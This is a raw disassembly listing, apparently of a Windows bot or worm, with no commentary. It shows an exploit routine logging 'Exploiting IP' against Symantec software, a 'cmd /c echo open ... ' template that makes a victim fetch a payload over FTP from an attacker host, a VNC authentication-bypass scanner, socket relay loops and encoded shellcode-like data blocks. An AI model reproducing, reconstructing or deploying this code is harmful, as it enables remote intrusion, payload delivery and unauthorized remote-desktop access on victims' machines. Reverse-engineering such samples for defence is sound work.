		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		lea	eax, [ebp+var_3C]
		push	offset loc_433410
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		xor	ebx, ebx
		xor	esi, esi
		lea	eax, [ebp+var_103]


loc_40E430:				; CODE XREF: sub_40E3F1+4Ej
		mov	cl, [ebp+esi+var_3C]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, 28h
		jl	short loc_40E430
		push	60h
		lea	eax, [ebp+var_B4]
		push	offset dword_432EA0
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_41B9C0
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		call	sub_41CD20
		add	esp, 1Ch
		lea	eax, [ebp+var_3C]
		push	9
		push	(offset	aC_0+3)
		push	eax
		call	sub_41B9C0
		pop	ecx
		lea	eax, [ebp+eax*2+var_85]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_41B9C0
		add	al, 1Ah
		push	1
		shl	al, 1
		mov	[ebp+var_1], al
		lea	eax, [ebp+var_1]
		push	eax
		lea	eax, [ebp+var_B1]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_41B9C0
		shl	al, 1
		add	al, 9
		push	1
		mov	[ebp+var_2], al
		lea	eax, [ebp+var_2]
		push	eax
		lea	eax, [ebp+var_87]
		push	eax
		call	sub_41CD20
		mov	ax, word_433290
		add	esp, 2Ch
		push	eax
		call	dword_4CB9D4
		xor	eax, 9999h
		push	2
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_432BA0
		call	sub_41CD20
		add	esp, 0Ch
		cmp	[ebp+arg_C0], ebx
		jz	loc_40E5ED
		mov	edi, 0DACh
		lea	eax, [ebp+var_1CC4]
		push	edi
		push	90h
		push	eax
		call	sub_41BF70
		mov	eax, [ebp+arg_C0]
		push	4
		imul	eax, 3Ch
		lea	eax, dword_4332D0[eax]
		mov	[ebp+var_14], eax
		push	eax
		lea	eax, [ebp+var_14E0]
		push	eax
		call	sub_41CD20
		mov	esi, offset loc_432AF0
		push	esi
		call	sub_41B9C0
		push	eax
		lea	eax, [ebp+var_14D0]
		push	esi
		push	eax
		call	sub_41CD20
		push	4
		lea	eax, [ebp+var_11AC]
		push	offset loc_433408
		push	eax
		call	sub_41CD20
		push	4
		lea	eax, [ebp+var_11A8]
		push	[ebp+var_14]
		push	eax
		call	sub_41CD20
		add	esp, 40h
		push	esi
		call	sub_41B9C0
		push	eax
		lea	eax, [ebp+var_119C]
		push	esi
		push	eax
		call	sub_41CD20
		add	esp, 10h
		xor	esi, esi
		lea	eax, [ebp+var_4803]


loc_40E5A6:				; CODE XREF: sub_40E3F1+1C6j
		mov	cl, [ebp+esi+var_1CC4]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, edi
		jl	short loc_40E5A6
		mov	esi, 1C52h
		lea	eax, [ebp+var_89B4]
		push	esi
		push	31h
		push	eax
		mov	[ebp+var_2CAC],	bl
		mov	[ebp+var_2CAB],	bl
		call	sub_41BF70
		push	esi
		lea	eax, [ebp+var_68DC]
		push	31h
		push	eax
		call	sub_41BF70
		add	esp, 18h
		jmp	short loc_40E644
; ---------------------------------------------------------------------------


loc_40E5ED:				; CODE XREF: sub_40E3F1+118j
		push	7D0h
		lea	eax, [ebp+var_F14]
		push	90h
		push	eax
		call	sub_41BF70
		mov	esi, offset loc_432AF0
		push	esi
		call	sub_41B9C0
		push	eax
		lea	eax, [ebp+var_E74]
		push	esi
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41B9C0
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_758]
		push	eax
		call	sub_41CD20
		mov	eax, dword_4332D0
		add	esp, 2Ch
		mov	[ebp+var_768], eax


loc_40E644:				; CODE XREF: sub_40E3F1+1FAj
		push	0E29h
		lea	eax, [ebp+var_2CA8]
		push	31h
		push	eax
		call	sub_41BF70
		movsx	eax, [ebp+var_1]
		mov	edi, [ebp+arg_BC]
		add	esp, 0Ch
		add	eax, 4
		push	ebx
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	edi
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E683


loc_40E67C:				; CODE XREF: sub_40E3F1+2B9j
					; sub_40E3F1+2E0j ...
		xor	al, al
		jmp	loc_40E82B
; ---------------------------------------------------------------------------


loc_40E683:				; CODE XREF: sub_40E3F1+289j
		mov	esi, 640h
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9EC
		push	ebx
		push	68h
		push	offset dword_432F04
		push	edi
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E67C
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9EC
		push	ebx
		push	0A0h
		push	offset dword_432F70
		push	edi
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E67C
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9EC
		cmp	[ebp+arg_C0], ebx
		jz	loc_40E799
		push	68h
		lea	eax, [ebp+var_89B4]
		push	offset dword_433128
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_4804]
		push	1B5Ah
		push	eax
		lea	eax, [ebp+var_894C]
		push	eax
		call	sub_41CD20
		push	70h
		lea	eax, [ebp+var_68DC]
		push	offset dword_433194
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_3770]
		push	0A5Eh
		push	eax
		lea	eax, [ebp+var_686C]
		push	eax
		call	sub_41CD20
		push	84h
		lea	eax, [ebp+var_5DA8]
		push	offset dword_433208
		push	eax
		call	sub_41CD20
		add	esp, 3Ch
		lea	eax, [ebp+var_89B4]
		push	ebx
		push	10FCh
		push	eax
		push	edi
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E67C
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9EC
		push	ebx
		push	0FDCh
		lea	eax, [ebp+var_68DC]
		jmp	short loc_40E7EF
; ---------------------------------------------------------------------------


loc_40E799:				; CODE XREF: sub_40E3F1+2F8j
		push	7Ch
		lea	eax, [ebp+var_2CA8]
		push	offset dword_433014
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_F14]
		push	7D0h
		push	eax
		lea	eax, [ebp+var_2C2C]
		push	eax
		call	sub_41CD20
		push	90h
		lea	eax, [ebp+var_245C]
		push	offset off_433094
		push	eax
		call	sub_41CD20
		add	esp, 24h
		mov	[ebp+var_1FB1],	bl
		lea	eax, [ebp+var_2CA8]
		push	ebx
		push	0CF8h


loc_40E7EF:				; CODE XREF: sub_40E3F1+3A6j
		push	eax
		push	edi
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E67C
		push	12Ch
		nop
		call	near ptr 2680EF8h
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E292
		add	esp, 0BCh
		test	al, al
		setnz	al


loc_40E82B:				; CODE XREF: sub_40E3F1+28Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E3F1	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 854h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	10h
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		mov	[ebp-4], edi
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+0Ch]
		mov	word ptr [ebp-14h], 2
		push	eax
		call	dword_4CBA14
		push	dword ptr [ebp+0A8h]
		mov	[ebp-10h], eax
		call	dword_4CB9D4
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		call	dword_4CBA54
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40E929
		lea	eax, [ebp-14h]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E929
		push	edi
		push	89h
		push	offset dword_432C88
		push	ebx
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E929
		mov	esi, 640h
		push	edi
		lea	eax, [ebp-854h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CB9EC
		push	edi
		push	0A8h
		push	offset dword_432D14
		push	ebx
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E929
		push	edi
		lea	eax, [ebp-854h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CB9EC
		push	edi
		push	0DEh
		push	offset dword_432DC0
		push	ebx
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E929
		push	edi
		lea	eax, [ebp-854h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CB9EC
		movsx	eax, byte ptr [ebp-810h]
		sub	eax, 30h
		jz	short loc_40E933
		dec	eax
		jz	short loc_40E930


loc_40E929:				; CODE XREF: ___:0040E884j
					; ___:0040E89Aj ...
		xor	eax, eax
		jmp	loc_40E9F6
; ---------------------------------------------------------------------------


loc_40E930:				; CODE XREF: ___:0040E927j
		push	edi
		jmp	short loc_40E957
; ---------------------------------------------------------------------------


loc_40E933:				; CODE XREF: ___:0040E924j
		push	2
		push	ebx
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E3F1
		add	esp, 0C4h
		test	al, al
		jnz	short loc_40E977
		push	1


loc_40E957:				; CODE XREF: ___:0040E931j
		push	ebx
		lea	esi, [ebp+8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E3F1
		add	esp, 0C4h
		test	al, al
		jz	short loc_40E97E


loc_40E977:				; CODE XREF: ___:0040E953j
		mov	dword ptr [ebp-4], 1


loc_40E97E:				; CODE XREF: ___:0040E975j
		push	ebx
		call	dword_4CBA6C
		cmp	dword ptr [ebp-4], 0
		jz	short loc_40E9F3
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		add	eax, offset aSymantec ;	"Symantec"
		push	eax
		push	offset aSExploitingIpS ; "[%s]:	Exploiting IP: %s."
		lea	eax, [ebp-214h]
		push	200h
		push	eax
		call	sub_41C360
		push	0
		lea	eax, [ebp-214h]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409869
		lea	eax, [ebp-214h]
		push	eax
		call	sub_415D38
		mov	eax, [ebp+0B0h]
		add	esp, 2Ch
		shl	eax, 6
		inc	dword_431800[eax]
		lea	eax, dword_431800[eax]


loc_40E9F3:				; CODE XREF: ___:0040E989j
		push	1
		pop	eax


loc_40E9F6:				; CODE XREF: ___:0040E92Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E9FB	proc near		; CODE XREF: sub_40EAE9+91p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		nop
		call	near ptr 71AB12F8h
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		nop
		call	near ptr 71AB1746h
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40EAC9
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40EAC9
		mov	edi, 400h
		push	esi
		mov	esi, dword_4271FC
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset byte_429108
		push	eax
		push	eax
		push	dword_4CB710
		push	[ebp+arg_0]
		call	sub_40AA06
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_41C360
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EACD


loc_40EAC9:				; CODE XREF: sub_40E9FB+50j
					; sub_40E9FB+62j
		xor	eax, eax
		jmp	short loc_40EAE4
; ---------------------------------------------------------------------------


loc_40EACD:				; CODE XREF: sub_40E9FB+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		nop
		call	near ptr 71AB1A6Dh
		push	1
		pop	eax


loc_40EAE4:				; CODE XREF: sub_40E9FB+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E9FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EAE9	proc near		; CODE XREF: sub_40C3E8+1EAp
					; DATA XREF: ___:off_4317FCo

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		mov	[ebp+var_10], 2
		call	dword_4CBA14
		push	[ebp+arg_A0]
		mov	[ebp+var_C], eax
		call	dword_4CB9D4
		push	6
		push	1
		push	2
		mov	[ebp+var_E], ax
		nop
		call	near ptr 71AB3C22h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40EB5B
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EB3C
		push	esi
		jmp	short loc_40EB55
; ---------------------------------------------------------------------------


loc_40EB3C:				; CODE XREF: sub_40EAE9+4Ej
		push	0
		push	1213h
		push	offset dword_433424
		push	esi
		call	near ptr 71AB1AF4h
		nop
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_40EB5F


loc_40EB55:				; CODE XREF: sub_40EAE9+51j
		nop
		call	near ptr 71AB1A6Dh


loc_40EB5B:				; CODE XREF: sub_40EAE9+3Cj
		xor	eax, eax
		jmp	short loc_40EBA1
; ---------------------------------------------------------------------------


loc_40EB5F:				; CODE XREF: sub_40EAE9+6Aj
		call	near ptr 71AB1A6Dh
		nop
		push	216Bh
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E9FB
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_40EB9E
		mov	eax, [ebp+arg_A8]
		shl	eax, 6
		inc	dword_431800[eax]
		lea	eax, dword_431800[eax]


loc_40EB9E:				; CODE XREF: sub_40EAE9+9Ej
		push	1
		pop	eax


loc_40EBA1:				; CODE XREF: sub_40EAE9+74j
		pop	edi
		pop	esi
		leave
		retn
sub_40EAE9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EBA5	proc near		; CODE XREF: ___:0040EC93p
					; ___:0040ECF5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		xor	esi, esi


loc_40EBAD:				; CODE XREF: sub_40EBA5+2Dj
		test	edi, edi
		jle	short loc_40EBD8
		mov	eax, [esp+8+arg_4]
		push	0
		add	eax, esi
		push	edi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CB9EC
		test	eax, eax
		jz	short loc_40EBD4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40EBD4
		sub	edi, eax
		add	esi, eax
		jmp	short loc_40EBAD
; ---------------------------------------------------------------------------


loc_40EBD4:				; CODE XREF: sub_40EBA5+22j
					; sub_40EBA5+27j
		xor	eax, eax
		jmp	short loc_40EBDB
; ---------------------------------------------------------------------------


loc_40EBD8:				; CODE XREF: sub_40EBA5+Aj
		push	1
		pop	eax


loc_40EBDB:				; CODE XREF: sub_40EBA5+31j
		pop	edi
		pop	esi
		retn
sub_40EBA5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EBDE	proc near		; CODE XREF: ___:0040ECDFp
					; ___:0040ED0Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_40EC1B
		xor	esi, esi
		test	edi, edi
		jle	short loc_40EC15


loc_40EBEE:				; CODE XREF: sub_40EBDE+35j
		mov	eax, edi
		push	0
		sub	eax, esi
		push	eax
		mov	eax, [esp+10h+arg_4]
		add	eax, esi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40EC1B
		test	eax, eax
		jz	short loc_40EC1B
		add	esi, eax
		cmp	esi, edi
		jl	short loc_40EBEE


loc_40EC15:				; CODE XREF: sub_40EBDE+Ej
		push	1
		pop	eax


loc_40EC18:				; CODE XREF: sub_40EBDE+3Fj
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40EC1B:				; CODE XREF: sub_40EBDE+8j
					; sub_40EBDE+2Bj ...
		xor	eax, eax
		jmp	short loc_40EC18
sub_40EBDE	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 24Ch
		push	ebx
		mov	ax, word_4346DC
		push	esi
		push	edi
		push	0
		push	1
		push	2
		mov	[ebp-2], ax
		pop	esi
		push	esi
		call	dword_4CBA54
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_40EC4D
		push	eax
		jmp	short loc_40EC81
; ---------------------------------------------------------------------------


loc_40EC4D:				; CODE XREF: ___:0040EC48j
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CBA14
		push	dword ptr [ebp+0A8h]
		mov	[ebp-48h], eax
		mov	[ebp-4Ch], si
		call	dword_4CB9D4
		mov	[ebp-4Ah], ax
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EC8C
		push	ebx


loc_40EC81:				; CODE XREF: ___:0040EC4Bj
		call	dword_4CBA6C
		jmp	loc_40EE87
; ---------------------------------------------------------------------------


loc_40EC8C:				; CODE XREF: ___:0040EC7Ej
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40EBA5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		lea	eax, [ebp-20h]
		and	byte ptr [ebp-2Ch], 0
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-38h]
		push	offset aRfb03d_03d ; "RFB %03d.%03d\n"
		push	eax
		call	sub_41CCE3
		add	esp, 10h
		cmp	eax, esi
		jnz	loc_40EE80
		cmp	dword ptr [ebp-28h], 3
		jz	short loc_40ECD8
		cmp	dword ptr [ebp-20h], 8
		jnz	loc_40EE80


loc_40ECD8:				; CODE XREF: ___:0040ECCCj
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40EBDE
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		lea	eax, [ebp-3Ch]
		push	esi
		push	eax
		push	ebx
		call	sub_40EBA5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		lea	eax, [ebp-2]
		push	1
		push	eax
		push	ebx
		call	sub_40EBDE
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		lea	eax, [ebp-24h]
		push	4
		push	eax
		push	ebx
		call	sub_40EBA5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		mov	eax, [ebp-24h]
		mov	edi, 0FF0000h
		mov	ecx, eax
		mov	edx, eax
		and	ecx, edi
		mov	esi, 0FF00h
		shr	edx, 10h
		or	ecx, edx
		mov	edx, eax
		shl	edx, 10h
		and	eax, esi
		or	edx, eax
		shr	ecx, 8
		shl	edx, 8
		or	ecx, edx
		mov	[ebp-24h], ecx
		jnz	loc_40EE80
		push	1
		push	offset word_4CB88C
		push	ebx
		call	sub_40EBDE
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		lea	eax, [ebp-1Ch]
		push	18h
		push	eax
		push	ebx
		call	sub_40EBA5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		xor	eax, eax
		mov	ecx, [ebp-8]
		mov	al, [ebp-1Bh]
		mov	edx, ecx
		mov	ah, [ebp-1Ch]
		mov	[ebp-1Ch], ax
		xor	eax, eax
		mov	al, [ebp-19h]
		mov	ah, [ebp-1Ah]
		mov	[ebp-1Ah], ax
		xor	eax, eax
		mov	al, [ebp-13h]
		mov	ah, [ebp-14h]
		mov	[ebp-14h], ax
		xor	eax, eax
		mov	al, [ebp-11h]
		mov	ah, [ebp-12h]
		mov	[ebp-12h], ax
		xor	eax, eax
		mov	al, [ebp-0Fh]
		mov	ah, [ebp-10h]
		mov	[ebp-10h], ax
		mov	eax, ecx
		and	eax, edi
		shr	edx, 10h
		or	eax, edx
		mov	edx, ecx
		shl	edx, 10h
		and	ecx, esi
		or	edx, ecx
		shr	eax, 8
		shl	edx, 8
		or	eax, edx
		mov	[ebp-8], eax
		add	eax, 2
		push	eax
		call	sub_41D9A5
		mov	edi, [ebp-8]
		pop	ecx
		test	edi, edi
		mov	esi, eax
		jle	short loc_40EE10
		push	edi
		push	esi
		push	ebx
		call	sub_40EBA5
		add	esp, 0Ch


loc_40EE10:				; CODE XREF: ___:0040EE03j
		and	byte ptr [edi+esi], 0
		lea	eax, [ebp+0Ch]
		push	eax
		push	esi
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp-28h]
		push	offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]"
		push	200h
		push	eax
		call	sub_41C360
		push	0
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409869
		lea	eax, [ebp-24Ch]
		push	eax
		call	sub_415D38
		mov	eax, [ebp+0B0h]
		add	esp, 34h
		shl	eax, 6
		inc	dword_431800[eax]
		push	ebx
		lea	eax, dword_431800[eax]
		call	near ptr 71AB1A6Dh
		nop
		push	1
		pop	eax
		jmp	short loc_40EE89
; ---------------------------------------------------------------------------


loc_40EE80:				; CODE XREF: ___:0040EC9Dj
					; ___:0040ECC2j ...
		push	ebx
		nop
		call	near ptr 71AB1A6Dh


loc_40EE87:				; CODE XREF: ___:0040EC87j
		xor	eax, eax


loc_40EE89:				; CODE XREF: ___:0040EE7Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40EE97:				; CODE XREF: ___:0040EEB3j
					; ___:0040EECFj
		push	0
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4CE708
		call	dword_4CB9EC
		test	eax, eax
		jle	short loc_40EE97
		lea	ecx, [ebp-4]
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp-404h]
		push	eax
		push	dword_4CE704
		nop
		call	near ptr 2720000h
		jmp	short loc_40EE97
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40EEDA:				; CODE XREF: ___:0040EF00j
					; ___:0040EF1Aj
		lea	eax, [ebp-4]
		and	dword ptr [ebp-4], 0
		push	0
		push	eax
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4CE6F8
		nop
		call	near ptr 271129Ah
		cmp	dword ptr [ebp-4], 0
		jle	short loc_40EEDA
		push	0
		lea	eax, [ebp-404h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword_4CE708
		call	dword_4CBA24
		jmp	short loc_40EEDA
; ---------------------------------------------------------------------------
dword_40EF1C	dd 81EC8B55h, 11CECh, 8458B00h,	6A575653h, 59F08B28h, 0FEE4BD8Dh
					; DATA XREF: sub_401ACD+2CCAo
		dd 0A5F3FFFFh, 0FF33016Ah, 98B0895Eh, 6A000000h, 0C8458D10h
		dd 21E85057h, 830000D0h, 0C7660CC4h, 2C845h, 0FF68B5FFh
		dd 15FFFFFFh, 4CB9D4h, 6A56066Ah, 45896602h, 5415FFCAh
		dd 89004CBAh, 458D0845h, 50106AC8h, 0FF0875FFh,	4CBA0015h
		dd 0FF056A00h, 15FF0875h, 4CB9FCh, 71081D8Bh, 358B0042h
		dd 427070h, 75FF5757h, 6815FF08h, 0A3004CBAh, 4CE708h
		dd 57F4458Dh, 0E7046850h, 68004Ch, 0C7004CE7h, 0CF445h
		dd 45C70000h, 1FCh, 0F87D8900h,	458DD3FFh, 685057F4h, 4CE6FCh
		dd 4CE6F868h, 6AD3FF00h, 84458D44h, 85E85057h, 0A10000CFh
		dd 4CE700h, 890CC483h, 0FCA1BC45h, 89004CE6h, 6A57C045h
		dd 0C4458D01h, 0C750026Ah, 448445h, 45C70000h, 101B0h
		dd 7D896600h, 2EE890B4h, 50023219h, 0E6FC35FFh,	22E8004Ch
		dd 90023219h, 12EEE850h, 8D900232h, 8D50D845h, 57508445h
		dd 906857h, 458D0400h, 50016AF4h, 50F4458Dh, 4346E068h
		dd 0E8905700h, 226198Ch, 50E8458Dh, 0D1685757h,	8D0040EEh
		dd 5057F445h, 0F92E890h, 45890228h, 0E8458DECh,	68575750h
		dd 40EE8Eh, 57F4458Dh, 0F7AE850h, 6A900228h, 0F04589FFh
		dd 90D875FFh, 2910D3E8h, 75FF5702h, 17A8E8F0h, 57900229h
		dd 90EC75FFh, 29179DE8h, 0F075FF02h, 75FFD6FFh,	57D6FFECh
		dd 90D875FFh, 321193E8h, 35FF02h, 0FF004CE7h, 435FFD6h
		dd 0FF004CE7h, 0F835FFD6h, 0FF004CE6h, 0FC35FFD6h, 0FF004CE6h
		dd 0DC75FFD6h, 75FFD6FFh, 0E9D6FFD8h, 0FFFFFEB0h, 0E9h
		dd 0FFFE6800h, 680000h,	0E8000004h, 9AD1h, 0E710A359h
		dd 0C359004Ch
dword_40F108	dd 81EC8B55h, 6C0ECh, 8458B00h,	6A575653h, 59F08B27h, 0FF50BD8Dh
					; DATA XREF: sub_40BD91+34Do
		dd 0A5F3FFFFh, 0DB33016Ah, 98B0895Eh, 6A000000h, 0EC458D10h
		dd 35E85053h, 830000CEh, 0C7660CC4h, 2EC45h, 0FF5CB5FFh
		dd 15FFFFFFh, 4CB9D4h, 26A5653h, 0EE458966h, 0FFF05D89h
		dd 4CBA5415h, 83F88B00h, 0FE3BFFCEh, 5D394575h,	532075E4h
		dd 0FD40858Dh, 75FFFFFFh, 858D50E0h, 0FFFFFF60h, 50B5FF50h
		dd 0E8FFFFFFh, 0FFFFA6DDh, 8D14C483h, 0FFFD4085h, 9DE850FFh
		dd 0FF00006Bh, 0FFFF54B5h, 0C530E8FFh, 5959FFFFh, 0D1E89053h
		dd 8B022E18h, 0FFFF5485h, 69106AFFh, 234C0h, 1CB88900h
		dd 8D0043E9h, 5750EC45h, 0BA0015FFh, 0C63B004Ch, 400BBh
		dd 0CF850F00h, 0FF000000h, 4CB96815h, 27403D00h, 47740000h
		dd 7539F633h, 562075E4h, 0FD40858Dh, 75FFFFFFh,	858D50E0h
		dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFA65Dh, 8D14C483h
		dd 0FFFD4085h, 1DE850FFh, 0FF00006Bh, 0FFFF54B5h, 0C4B0E8FFh
		dd 5959FFFFh, 51E89056h, 68022E18h, 0FFFEh, 9997E853h
		dd 0A3590000h, 4CE710h,	45896659h, 0EC458DEEh, 5750106Ah
		dd 0BA0015FFh, 0C63B004Ch, 15FF5475h, 4CB968h, 7539F633h
		dd 3D2775E4h, 2740h, 8D562074h,	0FFFD4085h, 0E075FFFFh
		dd 60858D50h, 50FFFFFFh, 0FF50B5FFh, 0E2E8FFFFh, 83FFFFA5h
		dd 858D14C4h, 0FFFFFD40h, 6AA2E850h, 0B5FF0000h, 0FFFFFF54h
		dd 0FFC435E8h, 565959FFh, 2E17D7E8h, 56A9002h, 0FC15FF57h
		dd 3B004CB9h, 0D4840FC6h, 0C7000000h, 10FC45h, 8BE0000h
		dd 8D004291h, 8D50FC45h, 0FFFF4085h, 0FF5750FFh, 4CBA6815h
		dd 0FFF88300h, 74084589h, 0E47D83E6h, 6A217500h, 40858D00h
